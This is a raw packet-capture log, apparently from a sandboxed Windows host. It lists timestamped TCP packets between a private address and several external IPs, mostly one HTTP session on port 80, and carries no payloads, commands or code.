Nov 24, 2024 19:11:56.117752075 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.117816925 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.118577957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.118683100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.118920088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.119467020 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.119673014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.119677067 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.119760036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.120450974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.120599985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.120625973 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.121340990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.121447086 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.121480942 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.121496916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.122145891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.122288942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.122319937 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.122598886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.123025894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.123138905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.123164892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.123935938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.124078035 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.124089956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.124174118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.124959946 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.124984980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.125261068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.125791073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.125878096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.125906944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.126605988 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.126707077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.126725912 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.127320051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.127573967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.127675056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.127693892 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.127764940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.154519081 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.154627085 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.154844999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.154980898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.155069113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.155098915 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.155505896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.155846119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.155955076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.155983925 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.156461000 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.156769991 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.156852961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.156909943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.157684088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.157799006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.157829046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.158106089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.158518076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.158638954 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.158667088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.159456968 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.159564018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.159589052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.159693956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.160315990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.160377979 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.160439014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.160439014 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.161211014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.161333084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.161362886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.161503077 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.162097931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.162175894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.162208080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.164460897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.249711037 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.249819994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.249819040 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.249926090 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.249998093 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.250108004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.250134945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.250230074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.250972033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.251065969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.251434088 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.251626015 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.251739025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.251764059 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.252768993 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.252854109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.253058910 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.253367901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.253458977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.254280090 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.254368067 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.254384041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.255152941 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.255273104 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.256155014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.256191015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.256234884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.256252050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.256324053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.257230997 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.257432938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.257458925 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.258064985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.258105040 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.258131981 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.258228064 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.258740902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.258788109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.259099007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.259588957 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.259695053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.259697914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.260514021 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.260612965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.260615110 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.260699987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.282126904 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.282208920 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.282277107 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.282556057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.282644987 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.282680988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.283107996 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.283487082 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.283592939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.283622980 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.284430981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.284459114 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.284471035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.284699917 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.284718990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.284784079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.284784079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.285545111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.285635948 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.285878897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.286381006 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.286556959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.415638924 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.543054104 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:56.547317982 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.585103035 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.587347031 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:56.631339073 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.864227057 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.864294052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.864352942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.864401102 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.864603996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.864645958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.864804029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.864865065 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.864975929 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.865019083 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.865745068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.865807056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.866003990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.866063118 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.866586924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.866635084 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.866672993 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.867481947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.867537022 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.867613077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.867657900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.868330002 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.868382931 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.886384010 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:56.886413097 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:56.886492968 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:56.886708975 CET	49820	443	192.168.2.8	52.182.143.211
Nov 24, 2024 19:11:56.886722088 CET	443	49820	52.182.143.211	192.168.2.8
Nov 24, 2024 19:11:56.935045958 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:56.935076952 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:56.935152054 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:56.935381889 CET	49821	443	192.168.2.8	23.96.180.189
Nov 24, 2024 19:11:56.935395956 CET	443	49821	23.96.180.189	192.168.2.8
Nov 24, 2024 19:11:56.946775913 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.946841955 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.946918011 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.974098921 CET	49801	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.974118948 CET	443	49801	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.975303888 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:56.975558996 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:56.975572109 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:56.975933075 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:56.976660013 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:56.976727009 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:56.976815939 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:56.988362074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.988373995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.988456011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.988601923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.988745928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.988800049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.989658117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.989727974 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.991837025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.991909027 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.992767096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.992779016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.992791891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.992805004 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.992830038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.992876053 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.993072033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.993087053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.993136883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.993839025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.993851900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.993895054 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.993908882 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.994710922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.994762897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.994879007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.994973898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.995435953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.995526075 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.995595932 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.995640039 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.995707989 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.995731115 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.995857000 CET	49822	443	192.168.2.8	18.160.60.23
Nov 24, 2024 19:11:56.995874882 CET	443	49822	18.160.60.23	192.168.2.8
Nov 24, 2024 19:11:56.995908976 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.996510029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.996556997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.996651888 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.996800900 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.997375965 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.997419119 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.997510910 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.997584105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:56.998389959 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:56.998454094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.020709038 CET	49819	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.020733118 CET	443	49819	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.025065899 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:57.025180101 CET	443	49797	20.110.205.119	192.168.2.8
Nov 24, 2024 19:11:57.025245905 CET	49797	443	192.168.2.8	20.110.205.119
Nov 24, 2024 19:11:57.046776056 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.047022104 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.047034979 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.047535896 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.047866106 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.047949076 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.048058033 CET	49818	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:57.095336914 CET	443	49818	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:57.113396883 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.113424063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.113471031 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.113763094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.113826036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.113903046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.113945961 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.114031076 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.114722967 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.114783049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.114847898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.114890099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.115570068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.115614891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.115622997 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.115669012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.116342068 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.116405010 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.116413116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.116471052 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.117228031 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.117295980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.117301941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.117347956 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.118086100 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.118149042 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.118180990 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.118226051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.118884087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.118952990 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.118994951 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.119065046 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.119801044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.119872093 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.119883060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.119986057 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.120655060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.120699883 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.120712042 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.120970011 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.121534109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.121563911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.121598959 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.121612072 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.122450113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.122523069 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.122550964 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.122745037 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.123347044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.123413086 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.123449087 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.123584032 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.124366045 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.124435902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.124459028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.124546051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.125305891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.125376940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.125406981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.125484943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.126065016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.126125097 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.126180887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.126223087 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.127019882 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.127067089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.127068043 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.127111912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.128022909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.128087044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.128093958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.128132105 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.128946066 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.128983974 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.129005909 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.129053116 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.129735947 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.129792929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.129832029 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.130001068 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.130578995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.130628109 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:57.130698919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:57.130742073 CET	49750	80	192.168.2.8	185.215.113.206
